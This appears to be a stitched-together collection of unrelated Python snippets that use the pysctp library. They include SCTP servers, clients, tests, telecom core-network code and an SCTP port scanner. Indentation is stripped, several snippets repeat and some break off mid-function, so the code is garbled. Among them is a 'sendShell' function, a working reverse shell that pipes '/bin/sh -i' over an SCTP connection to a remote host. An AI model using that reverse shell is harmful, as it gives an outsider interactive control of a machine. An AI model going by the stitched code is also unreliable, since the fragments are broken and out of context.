def main(iprange):
timeout = 3
resource.setrlimit(resource.RLIMIT_NOFILE, (4096, 4096))
for ip in IP(iprange):
slist = []
opened = closed = filtered = 0
print 'Scanning %s' % ip
for port in ports.sctp_ports:
soc = sctp.sctpsocket_tcp(socket.AF_INET)
if ip.strNormal().split('.')[0] != '127':
# Enable port mirroring for remote hosts
try:
bind_socket(soc, port)
except socket.error, e:
print 'Cant bind default port %s, use kernel attributed source port' % ports.default_port
# Use non blocking sockets + select to scan in parallel
soc.settimeout(timeout)
soc.setblocking(0)
try:
soc.connect((ip.strNormal(), port))
except socket.error, e:
pass
slist.append(soc)
def send(self):
# Open SCTP-TCP socket
sock = sctp.sctpsocket_tcp(socket.AF_INET)
try: # IF Multihoming supported version of SCTP is installed
sock.connectx(self.dest_ip_port_tuples)
print "Multihoming."
except: # Except, run without multihoming
sock.connect(self.dest_ip_port_tuples[self.dest_ip_index])
# Send initial info like filename etc
initial_info = self.filename + ':' + str(self.buffer_size) + ":" + str(
self.file_size)
sock.send(initial_info)
read_bytes = 0
while 1:
# Pack next bytes < 1000 and send
next_pack = min(self.buffer_size, self.file_size - read_bytes)
try:
sock.send(self.file_content[read_bytes:read_bytes + next_pack])
except:
for ip_port_tuple in self.dest_ip_port_tuples:
self.dest_ip_index = (self.dest_ip_index + 1) % len(
self.dest_ip_port_tuples)
sock.connect(self.dest_ip_port_tuples[self.dest_ip_index])
read_bytes += next_pack
if read_bytes == self.file_size:
break
def send_msg(msg, chan):
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.settimeout(2)
sk.connect(chal)
sk.sctp_send(msg, stream=chan)
print sk.recv(0x10000)
return sk
def sctpClient(host, port, s):
clientType=2
s.send(str(clientType))
p = int(s.recv(5))
l = int(s.recv(7))
e = int(s.recv(7))
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect((host, port))
print('Connected with p=' + str(p) + ' l='+ str(l) + ' e=' + str(e) +
' s bound to ' + str(s.getsockname()) + ' sk bound to ' + str(sk.getsockname()))
signal.signal(signal.SIGINT, lambda signum,frame: s.sendto(str(l),(host,p)))#ctrl-c
signal.signal(signal.SIGQUIT, lambda signum,frame: close(s, e, p, host, [s]))#ctrl-/
socket_list = [sys.stdin, s, sk]
while True:
try:
read_sockets, _w, _e = select.select(socket_list , [], [])
for sock in read_sockets:
if sock == s:
data, address = u.recvfrom(1024)
handleFromServer(data, address, e, l)
if sock == sk:
address, _flags, data, _notif = sockfd.sctp_recv(1024)
handleFromServer(data, address, e, l)
elif sock == sys.stdin:
handleFromStdin(s, clientType, sk, e, p, host, [s])
except select.error as ex:
if ex[0] == 4:#catch interrupted system call, do nothing
continue
else:
raise
def sctpsend(ip, port, data, start, end):
sock = sctp.sctpsocket_tcp(socket.AF_INET) ###OPEN A SCTP SOCKET
sock.connect((ip, port))
for i in range(start, end):
print "SENDING " + str(i) + "/" + str(end)
sock.sendall(data[(i * p):((i + 1) * p)]) ###SENDALL IS MORE RELIABLE
sock.close()
def __init__(self):
# Initialisations
self.dest_ip_port_tuples = (("10.10.2.2", 8765), ("10.10.4.2", 8765))
self.filename = None
self.sock = sctp.sctpsocket_tcp(socket.AF_INET)
self.sock.bindx(self.dest_ip_port_tuples)
self.sock.listen(10)
def run(self):
keep_alive_body=(hex(int(64))[2:].zfill(1)+"Y".encode("hex")).decode("hex")
host=socket.gethostbyname(socket.gethostname())
port=int(self.sys_conf["sysparm"]["keep_alive_server_port"])
if self.sys_conf["sysparm"]["protocol"].strip()=="SCTP":
s = sctp.sctpsocket_tcp(socket.AF_INET)
else:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host,port))
s.listen(5)
logging.info("Keep alive server is starting, lister on "+host+":"+str(port))
while 1:
in_fds,out_fds,err_fds = select.select([s,],[],[],3)
if len(in_fds) != 0:
server_sock,client_address=s.accept()
logging.debug("keep alive server accept new connection from "+str(client_address)+".")
while 1:
k_in_fds,k_out_fds,k_err_fds = select.select([server_sock,],[],[],3)
if len(k_in_fds) != 0:
k_data=server_sock.recv(4096)
logging.info("Receive keep alive message:"+k_data)
if k_data:
server_sock.send(keep_alive_body)
else:
logging.error("The connection is broken")
break
else:
time.sleep(2)
else:
time.sleep(2)
def run(self):
host=socket.gethostbyname(socket.gethostname())
port=int(self.sys_conf["sysparm"]["port"])
if self.sys_conf["sysparm"]["protocol"].strip()=="SCTP":
s = sctp.sctpsocket_tcp(socket.AF_INET)
else:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host,port))
s.listen(5)
logging.info("Diameter server is starting, lister on "+host+":"+str(port))
i=1
while 1:
in_fds,out_fds,err_fds = select.select([s,],[],[],3)
if len(in_fds) != 0:
server_sock,client_address=s.accept()
logging.debug("new connection come from "+str(client_address)+".")
'''#move sender and revceive thread to on thread, so that control connnection convienent
server_sender=sender.SenderThread("ServerSender"+str(i),self.sys_conf,self.msg_queue,server_sock)
server_sender.start()
'''
server_receiver=receiver.ReceiverThread("ServerReceiver"+str(i),self.sys_conf,self.msg_queue,server_sock)
server_receiver.start()
i+=1
#logging.info("There are "+str(i)+" connections")
else:
time.sleep(1)
def test_cli():
srv = init_server()
#
cli = sctp.sctpsocket_tcp(socket.AF_INET)
# config SCTP number of streams
cli.initparams.max_instreams = 3
cli.initparams.num_ostreams = 3
# disable SCTP events
cli.events.clear()
cli.events.data_io = 1
#
cli.bind(addr_client)
cli.connect(addr_server)
#
buf = b"ABCDEF: TEST SUCCEEDED (test_local_cnx.py (C) 2009 Philippe Langlois)\n\l"
cli.sctp_send(buf)
print("client sctp_send: %s" % buf)
print("")
#
time.sleep(0.01)
#
srv_to_cli, _addr_client = srv.accept()
fromaddr, flags, msgret, notif = srv_to_cli.sctp_recv(2048)
print("server sctp_recv, flag %d" % flags)
print("server sctp_recv, buf: %s" % msgret)
print("")
#
cli.close()
time.sleep(0.01)
srv.close()
#
return 0
def main(iprange):
timeout = 3
resource.setrlimit(resource.RLIMIT_NOFILE, (4096, 4096))
for ip in IP(iprange):
slist = []
opened = closed = filtered = 0
print 'Scanning %s' % ip
for port in ports.sctp_ports:
soc = sctp.sctpsocket_tcp(socket.AF_INET)
if ip.strNormal().split('.')[0] != '127':
# Enable port mirroring for remote hosts
try:
bind_socket(soc, port)
except socket.error, e:
print 'Cant bind default port %s, use kernel attributed source port' % ports.default_port
# Use non blocking sockets + select to scan in parallel
soc.settimeout(timeout)
soc.setblocking(0)
try:
soc.connect((ip.strNormal(), port))
except socket.error, e:
pass
slist.append(soc)
def __init__(self,XMLCFG):
try:
Msg = "Prepare SCTP Server ..."
PCA_GenLib.WriteLog(Msg,9)
self.XMLCFG = XMLCFG
Tag = "LISTEN_HOST"
host = PCA_XMLParser.GetXMLTagValue(XMLCFG,Tag)
self.host = host
Tag = "LISTEN_PORT"
port = PCA_XMLParser.GetXMLTagValue(XMLCFG,Tag)
self.port = string.atoi(port)
Msg = "Listen Host=<%s>,Port=<%s>" % (self.host,self.port)
PCA_GenLib.WriteLog(Msg,1)
self.SocketConnectionPool, self.ReadSet = [], []
SocketDescriptor = sctp.sctpsocket_tcp(socket.AF_INET)
if self.host == "any":
SocketDescriptor.bind(("", self.port))
else:
SocketDescriptor.bind((self.host, self.port))
SocketDescriptor.listen(5)
self.SocketConnectionPool.append(SocketDescriptor) # add to main list to identify
self.ReadSet.append(SocketDescriptor)
except :
Msg = "SelectServer Initial error : <%s>,<%s> " % (sys.exc_type,sys.exc_value)
PCA_GenLib.WriteLog(Msg,0)
raise
def send_msg(msg,chan): sk=sctp.sctpsocket_tcp(socket.AF_INET) sk.settimeout(2) sk.connect(chal) sk.sctp_send(msg,stream=chan) print sk.recv(0x10000) return sk
def test_cli():
srv = init_server()
#
cli = sctp.sctpsocket_tcp(socket.AF_INET)
# config SCTP number of streams
cli.initparams.max_instreams = 3
cli.initparams.num_ostreams = 3
# disable SCTP events
cli.events.clear()
cli.events.data_io = 1
#
cli.bind(addr_client)
cli.connect(addr_server)
#
buf = b"ABCDEF: TEST SUCCEEDED (test_local_cnx.py (C) 2009 Philippe Langlois)\n\l"
cli.sctp_send(buf)
print("client sctp_send: %s" % buf)
print("")
#
time.sleep(0.01)
#
srv_to_cli, _addr_client = srv.accept()
fromaddr, flags, msgret, notif = srv_to_cli.sctp_recv(2048)
print("server sctp_recv, flag %d" % flags)
print("server sctp_recv, buf: %s" % msgret)
print("")
#
cli.close()
time.sleep(0.01)
srv.close()
#
return 0
def my_socket():
ap_socket = sctp.sctpsocket_tcp(socket.AF_INET)
ap_socket.initparams.max_instreams = 1
ap_socket.initparams.num_ostreams = 1
ap_socket.events.clear()
ap_socket.events.data_io = 1
ap_socket.connect((HOST, PORT))
return ap_socket
def no_test_sctp():
import socket
import sctp
import random
port = random.randint(17000, 18999)
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.bind(("0.0.0.0", port))
sk.listen(20)
sr = sctp.sctpsocket_tcp(socket.AF_INET)
a = np.random.uniform(size=(17)).astype("float16")
tenbin.sctp_send(sk, ("127.0.0.1", port), [a, a])
b, c = tenbin.sctp_recv(sr)
sk.close()
sr.close()
del sk
del sr
assert (a == b).all()
assert (a == c).all()
def mysocket():
#Creating sctp socket
mysocket = sctp.sctpsocket_tcp(socket.AF_INET)
mysocket.initparams.max_instreams = 1
mysocket.initparams.num_ostreams = 1
mysocket.events.clear()
mysocket.events.data_io = 1
mysocket.connect((HOST, PORT))
return mysocket
def test4_sctp_connection_amf(self):
""" ***** checking sctp transport connection in amf ***** """
amf_sctp_port = 38412
sock = sctp.sctpsocket_tcp(socket.AF_INET)
for unit in model.get_units("amf"):
amf_ip = model.get_status().applications["amf"]["units"][
unit.entity_id]["address"]
result = sock.connect_ex((amf_ip, amf_sctp_port))
if result == 0:
logging.info("SCTP Transport is Listening ...")
else:
logging.info("SCTP Transport is not available")
self.assertEqual(result, 0)
def __init__(self,
server_address,
RequestHandlerClass,
bind_and_activate=True):
BaseServer.__init__(self, server_address, RequestHandlerClass)
self.socket = sctp.sctpsocket_tcp(socket.AF_INET)
if bind_and_activate:
try:
self.server_bind()
self.server_activate()
except:
self.server_close()
raise
def create_bound_socket(protocol, sockparams, reuse=True):
domain=sockparams[0]
bindaddr=(sockparams[1],sockparams[2])
if protocol == socket.IPPROTO_SCTP:
sock=sctp.sctpsocket_tcp(domain)
elif protocol == socket.IPPROTO_TCP:
sock=socket.socket(domain)
elif protocol == socket.IPPROTO_UDP:
sock=socket.socket(domain, socket.SOCK_DGRAM, protocol)
if reuse:
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
sock.bind(bindaddr)
return sock
def send_packet(msg, count):
# Enabiling Heartbeat
ss = sctp.paddrparams.flags_HB_ENABLE
ss = 1
# Creating sctp socket
s = sctp.sctpsocket_tcp(socket.AF_INET)
s.connect((HOST, PORT))
# Setting Heartbeat interval
# getpaddrObj = s.get_paddrparams(0, (HOST, PORT))
# getpaddrObj.hbinterval = 1
# s.set_paddrparams(getpaddrObj)
q = s.sctp_send(msg, ppid=301989888)
def __init__(self, ip, port, cb=None):
self.sock = sctp.sctpsocket_tcp(socket.AF_INET)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEPORT, 1)
self.sock.setblocking(0)
self.cb = cb
self.ip = ip
self.port = port
self.client = None
self.data_sent = None
self.data_rcvd = None
self.bind()
self.listen()
t = Thread(target=self.accept)
t.daemon = True
t.start()
def sendShell(host, port):
socket.setdefaulttimeout(60)
s = None
try:
s = sctp.sctpsocket_tcp(socket.AF_INET)
s.connect((host,port))
s.send('g0tsh3ll!\n')
save = [ os.dup(i) for i in range(0,3) ]
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
shell = call(["/bin/sh","-i"])
[ os.dup2(save[i],i) for i in range(0,3)]
[ os.close(save[i]) for i in range(0,3)]
os.close(s.fileno())
except Exception, e:
print "Error: " + str(e)
pass
def check(ip):
sk = sctp.sctpsocket_tcp(socket.AF_INET)
try:
sk.connect((ip, PORT))
except Exception:
print("Can't connect")
sys.exit(NOTOK)
# hope the strings are too small to fit in recv window
data_to_send = ["Hello", "you've", "solved", "this", "task"]
for data in data_to_send:
sk.sctp_send(data + "\n")
host, flags, msg, notif = sk.sctp_recv(RECV_BUF_SIZE)
if msg != data + "\n":
print("Wrong answer")
sys.exit(NOTOK)
sk.close()
print("All ok")
sys.exit(OK)
def check(ip):
sk = sctp.sctpsocket_tcp(socket.AF_INET)
try:
sk.connect((ip, PORT))
except Exception:
print("Can't connect")
sys.exit(NOTOK)
# hope the strings are too small to fit in recv window
data_to_send = ["Hello", "you've", "solved", "this", "task"]
for data in data_to_send:
sk.sctp_send(data + "\n")
host, flags, msg, notif = sk.sctp_recv(RECV_BUF_SIZE)
if msg != data + "\n":
print("Wrong answer")
sys.exit(NOTOK)
sk.close()
print("All ok")
sys.exit(OK)
def __init__(self, XMLCFG):
try:
Msg = "Connector init ..."
PCA_GenLib.WriteLog(Msg, 9)
self.XMLCFG = XMLCFG
Tag = "REMOTE_HOST"
host = PCA_XMLParser.GetXMLTagValue(XMLCFG, Tag)
Tag = "CONNECT_PORT"
connect_port = PCA_XMLParser.GetXMLTagValue(XMLCFG, Tag)
self.host = host
self.connect_port = string.atoi(connect_port)
if _sctp.getconstant("IPPROTO_SCTP") != 132:
Msg = "Connector init getconstant failed"
PCA_GenLib.WriteLog(Msg, 0)
Msg = "Call SCTP Socket..."
PCA_GenLib.WriteLog(Msg, 7)
# make a TCP/IP spocket object
self.SocketDescriptor = sctp.sctpsocket_tcp(sctp.socket.AF_INET)
self.saddr = (self.host, self.connect_port)
Msg = "Host=<%s>,Port=<%s>" % (self.host, self.connect_port)
PCA_GenLib.WriteLog(Msg, 7)
self.SocketDescriptor.initparams.max_instreams = 3
self.SocketDescriptor.initparams.num_ostreams = 3
self.SocketDescriptor.events.clear()
self.SocketDescriptor.events.data_io = 1
Msg = "Connector OK."
PCA_GenLib.WriteLog(Msg, 9)
except:
Msg = "Connector Initial error : <%s>,<%s> " % (sys.exc_type,
sys.exc_value)
PCA_GenLib.WriteLog(Msg, 0)
raise
import socket
import sctp
sk = sctp.sctpsocket_tcp(socket.AF_INET)
sk.connect(("10.0.1.105", 36412))
print("Sending Message")
sk.sctp_send(msg='hello world')
sk.shutdown(0)
sk.close()
entry_field.pack()
send_button = tkinter.Button(top, text="Send", command=send)
send_button.pack()
top.protocol("WM_DELETE_WINDOW", on_closing)
#----Now comes the sockets part----
# HOST = input('Enter host: ')
# PORT = input('Enter port: ')
HOST = '127.0.0.1'
PORT = 33000
# if not PORT:
# PORT = 33000
# else:
# PORT = int(PORT)
BUFSIZ = 1024
# ADDR = (HOST, PORT)
# s = sctp.sctpsocket_tcp(socket.AF_INET)
# s.bind(ADD)
# sk=sctp.sctpsocket_tcp(socket.AF_INET)
# sk.connect((HOST,PORT))
client_socket = sctp.sctpsocket_tcp(AF_INET)
client_socket.connect((HOST, PORT))
receive_thread = Thread(target=receive)
receive_thread.start()
tkinter.mainloop() # Starts GUI execution.
def test():
tcp = sctp.sctpsocket_tcp(socket.AF_INET)
tcp.connect(('127.0.0.1', 8001))
tcp.sctp_send("Hello")
def init_server():
srv = sctp.sctpsocket_tcp(socket.AF_INET)
srv.bind(addr_server)
srv.listen(5)
return srv
def init_server():
srv = sctp.sctpsocket_tcp(socket.AF_INET)
srv.bind(addr_server)
srv.listen(5)
return srv
def connect(self):
self.sock = sctp.sctpsocket_tcp(socket.AF_INET)
self.sock.connect((self.host, self.port))
transport = "SCTP" #Transport Type - TCP or SCTP (SCTP Support is basic)
diameter = diameter.Diameter(diameter_host, realm, 'PyHSS-client', str(mcc),
str(mnc))
supported_calls = [
"CER", "DWR", "AIR", "ULR", "UAR", "PUR", "SAR", "MAR", "MCR", "LIR",
"RIR", "CLR"
]
if transport == "TCP":
clientsocket = socket.socket()
clientsocket.bind((recv_ip, 3871))
elif transport == "SCTP":
import sctp
clientsocket = sctp.sctpsocket_tcp(socket.AF_INET)
else:
print(str(transport) + " is not valid transport type, exiting.")
sys.exit()
print("Connecting to " + str(hostname))
try:
clientsocket.connect((hostname, 3868))
except Exception as e:
print("Failed to connect to server - Error: " + str(e))
sys.exit()
def ReadBuffer():
while True:
def _init_socket(self, family):
if not SCTP_ENABLED:
raise Exception(
"SCTP Not enabled. Is pysctp installed? https://github.com/philpraxis/pysctp"
)
self._socket = sctpsocket_tcp(get_family(family))
def __init__(self, ip, port): self.s = sctp.sctpsocket_tcp(socket.AF_INET) self.s.connect((ip, eval(port)))
def _init_socket(self, family):
if not SCTP_ENABLED:
raise Exception("SCTP Not enabled. Is pysctp installed? https://github.com/philpraxis/pysctp")
self._socket = sctpsocket_tcp(get_family(family))
'''
Simple Core Network implementation for research purposes
Authors:
- Gines Garcia-Aviles
- @github: https://github.com/GinesGarcia
License:
- MIT License
'''
HOST = '127.0.0.1'
PORT = 36412
BUFSIZE = 2048
ADDR = (HOST, PORT)
threads = []
socket_serv = sctp.sctpsocket_tcp(socket.AF_INET)
socket_serv.bindx([ADDR])
socket_serv.listen(5)
socket_serv.setblocking(1)
socket_serv.set_adaptation(18)
while True:
print "Waiting for connections on %s:%s ..." % (HOST, PORT)
conn_sock, addr = socket_serv.accept()
thread = MmeThread(conn_sock, addr, HOST, PORT)
thread.start()
threads.append(thread)
# Wait for all threads to finish
for thread in threads:
def __init__(self, listen, handler=None):
self.sock = sctp.sctpsocket_tcp(socket.AF_INET)
self.sock.bind(listen)
self.sock.listen()
